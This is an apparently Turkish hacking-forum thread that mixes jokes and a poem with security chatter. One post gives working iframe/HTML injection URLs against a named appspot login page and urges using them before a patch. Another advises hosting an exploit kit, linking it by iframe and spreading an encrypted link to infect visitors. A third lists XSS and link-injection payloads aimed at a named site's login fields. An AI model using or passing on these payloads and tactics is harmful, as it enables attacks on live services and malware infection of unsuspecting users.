aha harbiden calışıyor :) Sanıyorum kendi ataszümü yaptım, kaynak belirterek kullanabilirsiniz. 10.05.2013 tarihli google arama sonucu : Aradığınız - "herşeyin hayırlısı rampanın bayırlısı" - ile ilgili hiçbir arama sonucu mevcut değil. Not : Syleyeni belli olduğu için ataszü değil, zlüsz oluyormuş, dolayısı ile kendi zlüszümü yapmış oldum :)

: Evet çalışıyor ama neler yapılabilir bu tip durumlarda siteye açıklar mısın? Siteye zarar vermek zorunda değilsin, exploit kitiyle donattığın siteyi iframe ile bağla, linki encrypt edip ilgi cekici bir başlıkla nette yay. Gelsin botçuklar xD. Sevmem yazmayı, okumayı sevdiğim kadar.

Hindistanlı bir arkadaşımız Google ın appspotunda iframe açığı bulmuş, paylaşmış. rnek1; https://contactuswidget.appspot.com/login. jsp?domain=lc&mssg=%3Cimg%20src=%22http://oi56.tinypic.com/2u6jupj. jpg%22/%20%3E%20TBT rnek2; https://contactuswidget.appspot.com/login. jsp?domain=lc&mssg=<iframe src="http://tahribat.com"</iframe> Açık yamanmadan kullanın. Sevmem yazmayı, okumayı sevdiğim kadar.

: lan ben de iftar ziyafeti diye okuyorum sabah sabah ya oruç da tutmuyorum halbuki :| sen git yat hacı en iyisi :) Eger "dokuz" CanLı oLsaydın biLe En fazLa "sekiz" kez kaçabiLirdin Lümden BiLki "yedi" düveLe suLtan oLsan dahi Yerin "aLtı" mekan oLacak sana En fazLa "beş" metre kumaş gtürebiLeceksin Kapatacaksın "drt" açsanda gzünü Bu dünya "üç" günLük dünya AzraiLin yanında "iki" kat oLup yaLvarsanda nafiLe ELbet "bir" gün Leceksin İşte o gün herşey "sıfır"dan başLayacak..!

lan ben de iftar ziyafeti diye okuyorum sabah sabah ya oruç da tutmuyorum halbuki :| g2k tahribat com

çaça ayrıca bahsi geçen sitede ayrıca bu güvenlik zafiyetleri bulunmakta. Cross Site ScriptingCross-Site Request Forgery +Bilgi: https://www.owasp.org/index. php/Phishing Cross Site Scripting Testleri;command=login&username=<script>alert(19380)</script>&password=command=login&username=<\0script>alert(19386)</script>&password=command=login&username=<iframe src=javascript:alert(19394) &password=command=login&username=<STYLE>@import"javascript:alert(19398)";</STYLE>&password=... Link Enjeksiyonu/Cross-Site Request Forgery Testleri;command=login&username="'><IMG SRC="/?.html">&password=command=login&username="'><A HREF="/?.html">Click Here Çaça</A>&password=...command=login&username='"><iframe src=http://çaça. url/çaça.html>&password= ... çaça out. return 0; }

Evet çalışıyor ama neler yapılabilir bu tip durumlarda siteye açıklar mısın?

tbt'dedededede bu zafiyet varmış çaça. testing van tu.

: lan ben de iftar ziyafeti diye okuyorum sabah sabah ya oruç da tutmuyorum halbuki :| kesinlikle aynı şekilde okudum :( gerçi ben orucum herşeyi yanlış okuorum :D kelimeler albayım bazı anlamlara gelmiyor.